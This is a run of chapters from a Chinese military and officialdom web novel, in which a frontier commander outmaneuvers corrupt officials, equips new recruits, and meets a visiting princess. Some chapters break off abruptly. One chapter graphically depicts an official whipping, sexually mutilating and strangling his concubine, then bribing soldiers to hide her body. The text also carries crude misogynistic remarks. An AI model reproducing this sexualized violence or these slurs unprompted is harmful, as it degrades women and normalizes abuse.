田诚业摆摆手,摇头道:“如今边城不稳,战事不宁,叶大人厉兵秣马驻军前线,才是我等学习的楷模啊!”
鸟人!
还给老子客套上了?
昨天给老子吃了个闭门羹,今天又给老子戴高帽灌迷魂药?
你个老东西,那点心思,老子还看不出来?
叶十三肚里一阵狠骂,喝了一口茶后,缓缓说道:“小的巡防期间,抓获一名资敌之徒,现人证物证俱全,想着此人是田大人辖下的商户,小的不敢妄断,还得请教大人一二!”
说着,叶十三向田诚业拱了拱手。
“哦!”
田诚业一怔。
“何人如此大胆,敢资助元蒙敌贼?”
面对田诚业装模作样的一问,叶十三笑了。
“亨通货栈,掌柜梁松。”
叶十三单刀直入,毫不绕弯。
“叶大人怕是搞错了?”
田面露惊讶,不可置信的目光望向叶十三。
“我镇商户历来守法经营,从未出现过越规之举,何况这亨通货栈,那可是通天驿镇首周敬堂周大人的买卖。”
“唉!”
叶十三叹口气,摇头道:“周大人忙于公务,难免对下人管束有疏,这才让梁松这等奸佞小人钻了空子。”
“也是啊!”
田诚业点点头,摆出一副痛心疾首的样子,又道:“先有泰丰粮行的掌柜宋贵伙同军部甲正吕怀山倒卖军粮,这才短短两日,亨通货栈的掌柜梁松,又倒卖私盐以资敌贼,如此惊天的狂妄之举,不知道他们的东家周大人可有洞察?”
老狐狸!
好一个投石问路。
若是叶十三把责任往周敬堂身上引,田诚业正好落井下石,一举扳倒周敬堂。
假若叶十三没有把握,只是适可而止,查了周敬堂的这两处买卖搞些钱的话,也好,自己岂不是趁机把这些买卖的经营给掌握起来?
叶十三哪能听不出田诚业的话外之音?
思忖片刻,淡淡说道:“想必周大人对此,应该是不知情的,私通敌贼,一旦要是坐实了,那可是砍头抄家又灭族的大罪,应当是他手下之人,利欲熏心下的胡作非为而已。”
一番装模作样的研讨,二人已经达成了共识。
梁松该死!
但他所犯罪行,与周敬堂无关,就是捅到上面,也只是个管教不严的失察之过。
但凡为官之人,哪个的背后没有靠山?
像周敬堂这等副万户的职位,背后那是肯定通着朝廷。
一壶茶喝完,叶十三向田诚业拱手告辞。
田诚业目送叶十三离开镇衙门,这才让师爷从郭威手中收下了那些罪证备案入册,然后亲自签了关押文书,指示让狱卒给梁松解了绑后,换了一付重刑镣铐打入死牢。
那四个倒霉的伙计,也是一样,被解了绑后,全部镣铐加身被下了大狱。
最倒霉的要数老鸨子了。
让百花楼的龟奴烧了一大锅热水,把自己满身的屎尿洗了个干净后,收拾了些密藏起来的细软后,正准备从后门坐上马车回老家歇缓几天躲躲霉头。
不料,她圆滚滚的身子还没爬上等候着的马车,就被从镇衙门赶来的师爷,当面宣读了衙门对百花楼停业整顿的通告。
停业整顿?
这就意味着官方颁发的执照牌儿被依法收回。
“师爷,您给奴家一个准话,这田大人的意思是?”
惊愣过后的老鸨子,悄悄把一根银簪塞进师爷的袖中,低声又道:“要等风头过后,恐怕还得些时日吧?”
资敌罪可不小,在梁松没被问斩之前,与之关联的一切人和事,都不算完全脱离了干系。
“嘿嘿!”
师爷一捋下巴上的几根鼠须,干笑道:“这就看上面的意思了,要是周大人插手闹腾,这一时半会还消停不了,保险起见,你还是多在老家待些时日,免得白吃瓜落……”
第105章 军部
叶十三手都没动一下,就将周敬堂在西河镇的两大产业连根拔起。
出乎意料的是,原本对叶十三抵触十足的田诚业,却找到了取代这些买卖的绝佳机会。
利益驱使之下,他不言而喻地和叶十三达成了默契。
短短三日,叶十三在西河镇站稳了脚跟。
回到沙柳滩村,新征来的三百新丁,已经在校场列队等待叶十三训话。
“禀报大人,三百新丁集合完毕,请大人示下。”
带兵的甲正,一打照面就单腿跪地,向叶十三禀报征兵结果。
“不错!”
叶十三微微颔首,缓缓说道:“开饭尚早,天黑之前,先把队列练熟,明日晨练,从刀法砍杀开始。”
经验告诉他,这三百新丁里面,年龄不足十六的,估计要占三成。
为了征丁,至于郭威给手下两个甲正下了何等的命令?
这个叶十三无从得知,但他也不想知道。
他要的,就是兵数。
手下无兵,那他这个千户职,就是一顶纸糊的帽子。
天气阴沉下来,时不我待,近日必有降雪。
叶十三眉头紧锁,不免为这三百新丁发愁。
如果降雪,元蒙鞑子必犯边境,原来的驻军还可勉强一战,但这些从未握过刀枪的新丁们,无疑就是给鞑子骑兵白送的人头。
“吴六子何在?”
“大人,小的在。”
听到召唤,吴六子放下碗筷,从隔壁房里直奔叶十三面前。
“依你之见,这些新丁如何训练?”
叶十三无计可施之下,把这个问题抛给吴六子。
这吴六子还真是个人才,眼珠子一转,谏言道:“恕小的直言,眼下战事一触即发,仓促训练成效不大,与其在这里耗着,不如把兵马拉到黄羊岘布防。”
“为何如此?沙柳滩村一带,更需重兵把守。”
叶十三反问一句,眼睛紧盯着吴六子是脸。
吴六子犹豫片刻,似乎下定了决心。
“大人,沙柳滩村被袭,纯属意外,倒不必把精力浪费在此?”
“怎讲?”
“您看看,从地理上看,元蒙出兵西河镇防区,从粮草运输和行军本来说,来就是麻烦不少,只适合小股偷袭,况且,这次鞑子被歼,他们更会以为大夏已经部署重兵在此,所以重点防御,还是应该放在黄羊岘。”
“继续讲!”
“如果元蒙向西河镇出兵,花费更是不少,粮草运输首先就是大麻烦,他们不会舍近求远的。”
“嗯,说下去。”
“而黄羊岘防区,鞑子从三面出兵都比较方便,这也是黄羊岘防区的村子,屡遭抢掠的主要原因。”
“说具体的!”
“这样好了,明天大早出发,留部分新丁由郭威带着看守护这里的粮食和物资,在这期间,新丁也是少不了训练。”
“然后呢?”
“剩下的,大人可带到黄羊岘,在鹞子岭驻军,落雁坡驻军,屯田村骑兵三处分散下去,这样既可由老兵带着训练,又加强了原布防的兵马实力。”
“好!”
叶十三点点头,欣慰道:“没看出来,你他娘的还真是个将才,好好干,等你军功在身,我给你个百夫长干。”
“谢大人。”
吴六子得了个空头嘉奖,乐得咧开嘴笑了。
“大人,小的还有一言。”
“有话快说,有屁就放,别他娘的给我吊胃口。”
“大人,明早出发,可经过通天驿镇这条道。”
“如此路线,岂不是绕远半天行程?”
“大人,这新征兵丁,需要武器和革甲,要是只报名册上去,不知军部何时才能下拨到手?”
“你的意思是,直接起程,走镇上这条道,顺便把武器和革甲给领了?”
“大人英明,小的正是此意。”
“好,就依你。”
说完,叶十三招来百夫长郭威和两个甲正,关于留守的事宜,又做了一番细致的交代……
二天大早,草草吃过早饭。
叶十三带着二百新征兵丁,拉了几车应急的物资,离开西河镇,一路向通天驿镇开拔。
抄了亨通货栈,得了不少的物资。
尤其是布匹,正好能当大用。
一个时辰后,通天驿镇到了。
这次,叶十三直奔军部。
来过通天驿镇的前两次,叶十三对军部都是绕道而行。
到了军部大将军行辕,当然是要拜见车骑大将军岳佟了。
一打照面,叶十三单膝一跪,右拳触地。
“末将,见过大将军。”
“你不在西河镇防务,跑军部有何事?”
叶十三抬起头来,注视着岳佟片刻,道:“末将以为,黄羊岘防区才是防务重点,西河镇只是个过渡防区,不应该把防务的重点,放在沙柳滩村,以免元蒙敌贼对黄羊岘趁虚而入。”
“你何故有如此看法?”
岳佟眉头紧蹙,沉着脸又是一问。
叶十三不紧不慢,把吴六子的那番观点,一一向岳佟作了陈述。
岳佟低头沉思片刻,缓缓抬头望向叶十三,道:“起来说话。”
“谢大将军。”
叶十三站了起来,心里却盘算着如何开口要兵器。
就在这时候,军部的几名重要人物纷纷赶到行辕大厅。
没等叶十三开口要兵器要革甲,有人已经向叶十三率先发难,让他交出屡次被抄没的那些物资。
粮食,银子,布匹……
草!
老子辛苦得来的,吃到老子肚里的东西,岂能给你们这些鸟人吐出来?
“大将军,叶十三目无军纪,私自截留抄没物资,这纯属贪墨行为。”
率先向叶十三开刀的,是军部的一名参将。
“贪墨?”
岳佟把目光投向那名致果校尉,又道:“据我所知,叶十三所查抄的那些物资,一应用在粮饷的发放上,何来贪墨一说?”
“就是发放粮饷,那也是军部统一部署,岂能由他私自做主,如此一来,军风军纪会被严重侵蚀,将影响到我大夏治国、治军的纲纪,还请大将军法正为是。”
致果校尉说完,轻蔑地一瞥叶十三,嘴角带着一丝不屑站在那里闭目养神。
“去你娘的!”
不料,叶十三一点都不紧张,反而破口大骂。
“如你所说,这各村驻军,烽火台的烽燧兵,军粮被欠已经有一月之久,饷银更是半年没有发放,这又是被谁贪墨?”
“你……”
谁都没料到,叶十三会在军部的大将军行辕大厅当庭骂人?
“你敢骂本将?”
气急败坏的致果校尉,跳起来就指着叶十三。
“一个奸佞小人而已,有何不敢骂的?”
叶十三嘴角一拧,又道:“普通兵卒月饷五两银子,到手只有二两三两,军粮糙米,沙子一成,老鼠屎加米虫的尸体又是一成,难道,这也是我大夏朝廷的军法和纲纪不成?”
“你……”
致果校尉面颊急抽,嘴唇急抖,一只手指向叶十三,半天说不出话来。
本来,串通好了的另外几人,见状后立刻闭嘴不言,生怕把这把火会引到自己身上。
不料,叶十三却不依不饶,向前一步,走到致果校尉面前,冷声又道:“老子还没问你呢,你倒是先跳了出来,老子问你,参与倒卖军粮,和泰丰粮行掌柜宋贵勾结的甲正吕怀山,可是你的手下?”
此言一出,随同而来的几个宣节校尉、宣节副尉们,面上不禁失色。
要是以此为由深查下来,首当其冲的就是他们几个。
“咳咳!”
一名宣节校尉半握着拳头,放在嘴上一阵假咳,急打圆场道:“依末将看,叶千户也是身不由己,面临着缺粮之急,换做谁都是先以兵士们的吃饭为主,环境特殊,事情紧急,自行处理抄没物资也在情理之中。”
“是啊!如此一来,倒也简洁,省了几道延误时日的流程,军队不比地方消闲,军情也是瞬息万变,有些事情还得变通……”
如此一阵和稀泥的说辞,不但打了圆场,缓和了一触即发的矛盾,也给岳佟找了个台阶可下。
“行了!”
岳佟摆摆手,不耐烦道:“特殊情况特殊对待,叶十三自行处置抄没物资没什么不妥,倒是你们几位,办事如此拖拉,管教下属不严,才是应该反思一下。”
此言一出,几个来找叶十三麻烦的人,心里不觉又是一阵紧张。
第106章 走,下馆子
形势陡转之下,叶十三笑了。
鸟人!
跟老子斗?
先把自己的一屁股屎擦干净再说。
不然,你们哪有脸说老子的不是?
“大将军!”
叶十三深躬一礼,抱拳又道:“鞑子屡犯我境,掠杀百姓无数,愤慨之下的西河镇民众踊跃入伍,末将共征得新丁三百,有二百新丁开往黄羊岘布防,还请大将军给我等兵卒壮壮声威?”
这顶高帽子,令岳佟十分受用。
“百姓踊跃入伍,军民共御外敌,这是好事!”
岳佟心知肚明,这叶十三硬性征兵,已经有了成效。
看来,这个奴籍还真有两下子。
军部的征丁布告年年张贴,就是不见有人前来报名,兵马缺口都是硬摊硬派,就差上门抓丁了。
三百兵数是不多,但也是个好开头。
起码,两镇边境线上这段,兵力部署就不那么磕碜了。
朝廷兵部若无调令,北防军大部队是无法任由分拆给各村驻军的。
岳佟感叹一番,目光看向致果校尉,道:“拨付三百革甲,两百长枪,二百短刀,二百付马鞍,交由叶千户带回。”
这下,致果校尉的脸都绿了。
不但没从叶十三身上挤出些物资来,这反而要从军部的器械库往外拿不少出去。
“大将军……”
致果校尉双手一拱,后面的话还没出口,就看到岳佟面带不悦,这又把要说的话,硬给咽了回去,改口又道:“末将遵命。”
“有劳了!”
叶十三嬉皮笑脸,向致果校尉潦草一礼。
“哼!”
致果校尉鼻孔冷哼一声,转身就往外走。
紧接着,跟致果校尉来的副尉、还有宣节校尉们,纷纷向岳佟拱手告辞。
这些人虽然不领兵,但管控着军队所需的一应军资。
叶十三的这一手,等于是斩断了他们的财路。
很快,革甲,马鞍,刀枪,甚至火绳都得以备齐。
军资库大院,叶十三一瞥眼前的二百新卒,道:“革甲上身,刀枪在手,马鞍嘛!那就你们替战马先背着,回去再给战马备上。”
这话,差点让致果校尉们当场吐血。
哪有让人背着马鞍的?
如此一来,就省了车马运输。
叶十三心里清楚,如此多的物资拨付,要是没自备运输的车马,这些人虽然会派车运送,但也要敲他几个银子的。
靠山吃山,靠羊毛擀毡。
任何行业里面,都有这种吃拿卡要的环节。
“各位大人辛苦了,他日得空,到了我的防区,一定杀猪宰羊好好招待各位。”
叶十三向脸都绿了的致果校尉们拱手一礼,笑嘻嘻地给画了个饼。
去防区?
呸!
到你防区等着挨鞑子的弯刀砍脖子?
还杀猪宰羊招待?
就你自己,都三天两头断顿,要不然芦河湾村的何家,怎会着了你狗东西的道?
致果校尉肚里骂着,脸上还是一副公事公办的神态。
“叶大人军务繁忙,还是尽早赶路吧!我等不敢耽误大人防控要务。”
致果校尉向叶十三敷衍一番,然后示意兵卒们以安全为由,迅速关闭了军械库的院门。
他们还怕叶十三这种没皮没脸的货,再蹭一顿午饭,那就亏大发了。
要知道,加上叶十三带着的随从,二百多人的饭,就是喝稀粥,那也得花掉一二十两银子。
“大人,这多出来的一百套革甲?”
望着没穿戴完的革甲,吴六子犯了难。
兵数是按三百人报的,而且名册也上交军部备案。
但他们带往黄羊岘防区的,却只是其中的二百人。
不料,叶十三眼睛一瞪,愠怒道:“他们都能替战马背着马鞍,你们的战马难道就不能替他们驮着革甲?”
“大人英明,恕小的愚钝。”
吴六子脸上一红,讪笑着就让探马们把革甲捆起来,腾出四匹战马,驮着剩下的一百套革甲。
“走,下馆子。”
叶十三看探马们把革甲驮上了马背,大手一挥笑道:“也不让大伙白劳累,既然军部没管饭,老子带你们吃馆子去。”
吃馆子?
这一下,下了马背准备步行的探马们顿时乐了。
肥羊肉,白馒头,真他娘的比过年还阔气。
“大人英明!”
探马们齐齐拱手,傻笑着向叶十三致谢。
“真他娘的一群吃货。”
叶十三笑骂一句,一勒马缰就走在前面带路。
说到吃,尤其是去馆子吃,就是两百新卒,也顿时心花怒放。
不大时候,馆子到了。
迎出店门的伙计,一看是来过两次的熟客,而且还带了如此多的兵马,顿时激动得说不出话来。
馆子掌柜眼尖,急忙迎出来骂道:“混账东西,还不赶快给军爷牵马?”
抽了伙计一个脖儿拐的掌柜,一脸堆笑地小跑上前,拉着叶十三的马缰绳,恭敬道:“军爷,今天正好新到了一批肥羊,您是吃烤了的、还是清炖了的?”
狗日的!
挣老子钱还挣上瘾了?
前两次,十来八个人,一只肥羊够消耗了的。
瞎了狗眼的也不看看,今天老子带着的,可是整整多出了两百人啊!
两百半大小子,能吃死老子。
你这鸟人,可真会给老子贴眼药?
听着馆子掌柜热情的招呼声,叶十三差点脸就绿了,肚里开始咒骂个不停。
“军爷,您安排,小的这就去准备!”
馆子的掌柜,差点就弯下腰来,让叶十三踩着脊背下马。
“这样好了!”
叶十三一咬牙,道:“宰上五只肥羊,切小块炖了,再蒸几锅干饭,老子吃了还有紧急军务。”
“军爷,还有白面馒头?”
馆子掌柜提醒一句。
“去你娘的,哪壶不开提哪壶,诚心的是吧?”
叶十三肚里又骂一句,恍然大悟道:老子还真忘了这茬,白面馒头二百一十二个,人手一个,炖肉里面多放豆腐和萝卜,得够饱了。”
“好嘞!小的给军爷抹零,馒头就按两百个算。”
看着馆子老板带着伙计匆忙去准备,叶十三差点抡起马鞭把馆子“南来顺”的匾额给抽下来。
南来顺?
遇上你这鸟人,老子还能顺?
要是按前两次的吃法,这二百来人,一顿还不吃掉二十只羊?
老子费尽心思弄来的几个银子,如此下去,还不叫你这等鸟人先给掏空了?
待叶十三坐定,馆子的老板娘亲自提了茶壶,笑得一脸皱褶都叠成了牛粪饼。
掌柜和几个伙计亲自忙着宰羊,平时从不涉足前堂的老板娘都亲自出来侍奉客人。
“军爷,茶您先喝着,肉即刻就好。”
望着老板娘那张能夹死蚊子的脸,叶十三突然想起百花楼的老鸨子。
这俩女人年纪应该相仿,都是四十上下,一个满脸红光绷得不见一丝皱褶,一个又是干巴无油如桃核。
都说女人如花,需要尿水浇灌。
看来,馆子的掌柜,只剩一手好厨艺了。
好在从百花楼也顺带搜了不少的浮财,吃馆子再是费钱,这心里还是熨烫不少。
毕竟,这有钱的感觉真好!
与此同时,镇衙门的后衙一间静室。
暴跳如雷的周敬堂,可是丝毫静不下来。
第107章 爷们之间的较量,何苦祸害一个女人
地上满是砸碎了的瓷渣。
唇红齿白的一名小妾,蜷缩在炕角瑟瑟发抖。
从狐皮大麾下露出的一条白得耀眼的腿上,清晰地可见被鞭子抽过的血痕。
“都怪你这个该死的白虎星,丧门星。”
须发几乎倒立起来的周敬堂,已经无法控制自己的情绪,指着炕角的小妾,暴跳着指骂道:“自从上月沾上了你这贱人,老子就没一天的舒心日子过。”
“大人……这些……如何都……怨得妾身……”
瑟瑟发抖的小妾,抽泣着争辩了一句。
“你这白虎星,还敢跟老子犟嘴?”
小妾的话,又一次激怒了周敬堂。
咒骂了一句后还不解恨,又拿过一根马鞭,照着小妾裹着的狐皮大麾又抽了下去。
“老子打死你灾星丧命星,短短半月时间,这出了多少事?”
“饶命啊……大人……”
霎时,马鞭在小妾的光洁的背上,印下了一条又一条渗出了血珠的鞭痕,小妾的求饶声,也是越来越凄惨。
“大人……钱庄……粮行……货栈……的事,怎的……都怪怨在……妾身的……身上……”
死命抱着脑袋,却把脊背亮给周敬堂抽打的小妾,还在极力地喊冤辩解。
也许是打累了,虚汗淋漓的周敬堂一屁股坐在地上,仰起头来又是一阵号啕!
“天杀的叶十三,你到底坑老子要到何时才能算完?”
“何家偌大的家产,你这狗东西还不满足啊?”
“光老子的钱庄,前后都让你这狗东西,讹走了十八万两银子。”
“老子的粮行你也不放过,既杀人又抄货,老子挖你八辈祖宗的老坟。”
“亨通货栈的事,绝对是你狗东西在后面捣鬼,说什么他娘的资敌叛国?老子就不相信他梁松如此大胆?”
“狗东西,老子他娘的上辈子欠你的?”
“自你狗东西来了边城,老子就没有一天舒心日子过……”
周敬堂不停地发疯,就差扑炕上咬人了。
屋子外面两个心腹兵卒,被吓得面无人色,也不敢进去规劝。
“大人被气疯了!”
“小声点,要是被大人听见,你我就没命了。”
“那个叫叶十三的,可真他娘的狠,这一下把大人的财路全给连根拔了!”
“你傻呀!仅凭一个奴籍,他哪有如此的本事?说不定他后面有主谋。”
“有主谋那是肯定的,但周大人朝中也有人,军部那位,就叶十三搞的那些证据,还不至于扳倒周大人的。”
一名兵卒撇撇嘴,不再言语,又竖起耳朵,极力地捕捉着屋内的动静。
小妾的抽泣时断时续,夹杂着周敬堂粗重的呼吸。
一种奇怪的声音,霎时又在屋子里响了起来。
“嘘!”
一名兵卒手指竖在嘴上,做了个噤声的动作,然后招招手,蹑手蹑脚地移动到靠窗户的一侧站了。
“大人被气疯了!”
“嗯!”
另一名兵卒点点头,小声道:“这接连出事,搁谁身上都受不了。”
“也是!”
之前说话的兵卒,也点点头道:“看来,这婆娘的日子不好过了,大人把气全撒给她了,也够她受的。”
“嘿嘿!”
另一名兵卒一脸坏笑,说道:“大人之前,不是特喜欢光洁溜溜的女人嘛!这下又嫌弃人家是个没毛的白虎星了。”
说着,兵卒一吐舌头,竖着耳朵又极力捕捉着屋子里的动静。
“可不是!”
之前说话的兵卒,若有所思地点点头,脸上浮起一丝奇怪的表情,低声又道:“这世间的福,全让当官的大人们给享尽了,权力在手,要钱有钱,要女人有女人,他娘的我们连饱饭都没吃过几顿,真他娘的上哪说理去?”
“小声点。”
另一名兵卒一脸紧张,转过头来说道:“我还真羡慕叶十三那小子,一个奴籍,本来是任人踩踏的下等货,谁曾想到,这货居然被军部看上,还给他撑腰,搞得周大人一点办法都没有,光拿这倒霉婆娘出气。”
“那是人家的本事,想想,这几年,北防军杀过几个鞑子?可人家叶十三一出手,就砍了上百个鞑子骑兵的脑袋,就凭这份能耐,军部能不给他撑腰?”
就在此时,屋子里突然传出一声尖叫,吓得外面的两名兵卒,差点当场就尿了裤裆。
“大人……饶命……”
小妾的方才呢喃声,霎时又变成了尖叫和求饶。
“都是你这灾星,给老子带来的灾祸。”
周敬堂粗重的呼吸声,又变成了恶狠狠的诅咒。
“咕咕咕……”
一阵从嗓眼里发出的奇怪声音,又时断时续地传进了两名兵卒的耳朵。
一种不详的预感,从两名兵卒的脑子里闪过。
“大人他……”
另一名兵卒,一脸惊骇地指了指窗户里面。
“那婆娘够倒霉的了……”
就在二人小声嘀咕的时候,屋子里的响动戛然而止,片刻后,只听到周敬堂咳嗽了一声。
“来人……”
“小的在。”
两名兵卒一阵面面相觑,然后忐忑不安地推门进去。
周敬堂一脸镇定,站在炕沿前目光一扫二人。
“用席子卷了,等天黑后扛到野地埋了。”
此言一出,两名兵卒浑身一抖。
缓缓抬起头来,颤声答道:“小的遵命。”
两名兵卒这才看到,一条狐皮大麾,把炕上的小妾盖了个严实,小妾露在外面的一只光脚,一缕殷红的人血,顺着小妾的脚腕,就像一条老粗的蚯蚓爬了出来……
“今天的事,你俩要是敢说出去……”
浑身一抖的两名兵卒,“扑通”一声就在地上跪了。
“禀大人,小的什么都没看见。”
周敬堂嘴角拧起一丝笑意,冷声又道:“明白就好,回头找管家各拿五两银子。”
“谢大人,谢大人。”
两名兵卒磕头如捣蒜,待周敬堂背着手出了屋子,这才敢上前去,查看炕上已经一动不动的小妾。
掀开盖着的狐皮大麾,小妾白皙的脖子上,一条惊心怵目的勒痕,霎时就出现在二人眼前。
白得就像剥了壳的煮鸡蛋一样的躯干上,密密麻麻地布满了牙齿撕咬的印痕。
最令人魂飞魄散的,是小妾腿间露出的一把刀柄。
那是一把匕首,一把刀刃足有七寸长的匕首。
只露着刀把的匕首,握柄已经被血污,浸泡得让人不寒而栗。
两名兵卒的腿肚子,不由得一阵颤抖。
“快动手,呆愣着干什么?”
一名兵卒稳了稳神,从炕角抽出一卷席子,面色煞白的就动起手来。
“真死了?”
探了一把小妾鼻息的另一名兵卒,颤声又道:“真狠毒,爷们之间的较量,何苦祸害一个女人?”
第108章 特训
新征兵卒一到黄羊岘,立刻就投入到紧张的训练中。
叶十三从二百新丁中,又选拔出十名兵卒留在身边。
如此一来,马成就成了这十名兵卒的头。
加上吴六子带的十名骑兵探马,烽火台的营房立刻就热闹了起来。
包括吴六子和马成,都要进行特训。
特训他们的教头,当然就是叶十三自己了。
经过一夜的苦思冥想,叶十三终于制定出一个特训的方案来,也算是对这些人的速成班。
由于鞑子体型普遍高大,属于力量型的兵种。
大夏人与之相比,就显得有些弱小了。
只有从技巧上入手,才能提高与之正面对抗的胜算。
刀法,就是必不可少的教程之一,也是最为重要的杀技。
短期内训练体能力量,已经是不现实的做法,只有提高刀法杀技,再别无二选。
时间,就是生命。
营房大院,新卒加探马,列成两排,叶十三亲自出马对他们进行特训。
“都给我听好了,留给我们的时间并不多,时间,就是我们的生命!”
叶十三拔直了身板,学着郑一刀的样子,尽量让自己威严起来。
说着,拔出刀来,亲自做起了示范。
“你们的力道,远不如鞑子,手中兵器不可与之硬碰。”
不能硬碰?
任何对抗,在对方的兵器攻击来的时候,无一例外都是举起自己的兵器进行阻挡。
如果不能硬碰,难道是逃跑为上?
就在探马们心中各自嘀咕的时候,叶十三高声又道:“鞑子攻势常以威猛为主,你们首先要做的,就是闪身躲开,如果距离原因不够闪身的条件,那么,偏头让过鞑子刀锋即可。”
偏头让过鞑子刀锋?
那多险?
要是鞑子反手再来一下,你还能躲得开?
就在兵卒们心头一惊的时候,叶十三斜举着手中刀,又道:“与之同时,你们手中的刀,随着鞑子的刀势跟上去,斩他手背。”
“记住了,要领就是快、准、狠。”
“这一招,最重要的就是在第一时间,躲开鞑子的刀锋,手中兵器不可正面硬碰。”
“然后,在躲避成功的一瞬间,手中刀锋,从鞑子走空的刀势下反击出去。”
“记住,这一刀,手势不能高了,盯好角度斩其手背。”
第109章 朝廷来人了
不用说,看到周钊随行,来的是岳佟。
车骑大将军亲自到黄羊岘防区,说明事情不小。
如果不是紧急万分的事情,肯定是召叶十三去镇上军部。
就是岳佟亲自莅临防区,那也是喊叶十三去营房见他。
这下倒好,岳佟直接策马来到沙窝地。
看到在沙窝地尘土飞扬的骑射练习,岳佟不禁暗暗颔首。
“末将参见大将军!”
一打照面,叶十三故作镇定,单膝跪地就是一礼。
“不必多礼,里边谈。”
没等周钊搀扶,岳佟自个飞身下马,把缰绳扔给周钊后,大步流星径直就进了茅草屋。
叶十三正准备喊过兵卒烧茶,却看到周钊和一行随从都原地站着不动,没有跟着岳佟进屋。
草!
大事不妙,密谈?
果然,待叶十三后脚进屋,发现岳佟并没有坐下,而是背着手站在屋子中央。
“大将军请坐,末将这就给大将军烧茶。”
面对叶十三的客套,岳佟摆摆手,示意他不要搞这些没用的东西。
“朝廷派人来了!”
岳佟一张口,就是一句令叶十三摸不着头脑的话。
“据我推算的时间,京都来的人,再有两天就到边城了。”
“哦!”
叶十三应了一声,然后就没了下文。
这京都来不来人?
管老子鸟事!
老子一个顶着虚名的下千户而已,马王爷不管驴的事,朝廷派不派人,那不是一个下千户该操心的,就军部那些掌控物资的致果校尉们,按军职是比叶十三还小一些,但在叶十三面前,照样理直气壮,说明他们知道是怎么回事,压根就没把他叶十三放在眼里。
不然,这些从七品正八品的官员们,还敢在叶十三这个从六品军职面前气粗?
只能说,叶十三只是一个拿着下千户粮饷的奴籍兵而已。
一个军部冠名的军职,和朝廷的册封,还有着天大的距离。
朝廷,只会把叶家一撸到底,贬为奴籍那可是事实。
望着淡定如斯的叶十三,岳佟反而有些诧异,不解道:“你好像对此消息无动于衷?”
“回将军话!”
第110章 香香郡主
岳佟忧心忡忡。
叶十三倒是一副无所谓的样子。
但叶十三心里明白,按理说,这等高层机密,不是他这种千户能够参与的。
但岳佟小心谨慎,怕刁蛮任性的郡主,一到边城四处乱跑,和叶十三这样做事不计后果的人要是发生摩擦,惹出个不可收拾的局面来,受牵连的,只有是首当其冲的他这个车骑大将军了。
给叶十三打个预防针,那也是有必要的。
朝中派系林立,也好让叶十三有个站位的立场,不能稀里糊涂被他人利用。
岳佟来得突然,走得也迅速,连一口热茶都没喝。
只是站在茅草屋的地上,屁股都没挨椅子一下,向叶十三说了这些就匆匆离去。
一晃又是三日,练兵已经到了白热化状态,兵卒们的精气神比起之前,那那是大有改观。
十名新卒,被列为近卫属。
吴六子自然是甲正职,马成理应也就成了什长。
班底没变,分组行动的时候,老班底的十名探马,自然是由吴六子带领,新加入的十名新卒,当然是由跟班马成带着了。
除了执行侦查任务,分组派出人手后,剩下的人自然就亲随叶十三左右。
如此安排,更是方便。
叶十三可以在第一时间内,得知探马所侦查到的任何信息,这中间没有任何的转折流程,一应信息,直达叶十三所听。
开小灶训练,都是杀技的精华摘要。
加上伙食丰足,兵卒们的身手,那可是突飞猛进不少。
天刚亮,叶十三正准备开往沙窝地,进行一场对抗训练的时候,老远看到三匹健马向营房疾驰而来。
有事了?
从那个方向而来的,都是镇上军部的人。
果然,是带着两名随从的周钊。
“末将见过周将军!”
整装待发的叶十三,立在马前向周钊拱手一礼。
“快,上马!”
周敬连马都没下,手中鞭子一指官道方向,急道:“带着你的人,跟本将去何家大院。”
何家大院?
难道老娘和妹妹她们出事了?
不对呀!
就是他叶十三的家人出事,那也不至于让军部的人如此慌张。
再说,芦河湾村离镇上不近,也得四十里地。
第111章 冷艳惊人的郡主
叶十三的目光,从战甲上缓缓移开。
真她娘的贵气!
肚里暗骂一句,这又把视线缓缓投向马背上的人。
这一瞧,还真让叶十三又吃了一惊。
马背上的人虽然看起来冷若冰霜,但那五官却是惊人的精致。
这般美艳动人的妹子,在边城还真没见到过。
胯下那匹没有一根杂毛的白马,更是马中的极品,定是邦国进贡给大夏的贡马无疑。
虽然身穿战甲,但丝毫不影响她矫健的身段。
就胸前战甲被顶得凸起的钢丝网来看,身材的发育,那是相当的没有受过任何阻力。
再看跟在身后两侧的岳佟和周敬堂,二人脸上无不严肃镇定。
“请郡主下马!何家大院到了。”
周钊单腿跪地,然后站立起来上前两步,准备拉住那匹白马的缰绳的时候,却被前面护卫的一个男子一把推开。
叶十三猜到,推开周钊的男子,一定是那个骠骑校尉苏哲了?
草!
够狂的,把周将军都不放眼里。
好了!
老子记住你了。
只见苏哲挡开周钊后,一手从郡主手中接过马缰,一手虚扶了一下,香香郡主一个闪身,矫健地就跳下了马来。
不错!
看这身手,还真练过一阵子的,不是那种闺阁中长大的娇气女子。
看到香香郡主下了马,两名早已下了马的侍婢,从后面上前,一左一右虚扶着香香郡主的胳膊,缓步走向前来。
早已下了马的岳佟和周敬堂,也纷纷赶到前面,二人一躬身,几乎说同声:“郡主请,这就是何家大院。”
看到叶十三还在那里傻站着,周钊狠狠地向叶十三使了个眼色。
“戍边北防军,黄羊岘防区千户叶十三,参见香香郡主!”
叶十三硬起头皮,双手抱拳躬身一礼。
“大胆!”
没等叶十三抬起头来,苏哲勃然大怒,吼道:“一个小小的防区千户,见了郡主为何不行跪礼?”
此言一出,就是岳佟,也不免心头一凛。
麻绳就怕细处断,这怕什么?
就来什么。
第112章 冤家对头
看来!
这郡主,还真是一根筋。
不知道她为何不在京都享受荣华富贵,偏偏要身临危机四伏的一线防区?
再是监军,四处巡查一番也无可厚非,驻扎在一线防区这就让人看不懂了?
一个金枝玉叶的郡主,放着万川郡和通天驿镇的优厚条件不用,非要一意孤行驻扎一线防区。
这一下,让周敬堂找到了机会,顺水推舟就给安排了何家大院。
至于叶十三是如何三番五次地给周敬堂设套?
岳佟那可是睁一只眼闭一只眼,权当这一切都是有理有据。
但在这郡主面前,岳佟就不便明着偏袒叶十三了。
临走时,岳佟找准空子,明着暗着地一再叮嘱叶十三,一切要以香香郡主为尊,不能让这个监军大人出半点事。
何家大院,霎时就住满了人。
正屋当然是归香香郡主占用了,就是偏屋,也是由侍奉她的两名侍婢住着。
整个偏院,则住着苏哲带领的五十名卫兵亲随。
原本看守粮仓的几名田兵,自然就被赶到了后院的杂物间。
叶家人那就更不用说了,奴籍是没有资格的,要不是田兵们腾出一间柴火房,叶刘氏和彩儿还有蔡一,就该住骚臭熏天的马厩了。
叶举当然是和几名田兵挤在一起。
有五十名卫兵驻扎下来,所谓对粮仓的看守,也就名存实亡了。
田兵们自然就成了杂役,任何脏活累活,都成了他们必干的差事。
包括给这些卫兵们喂马。
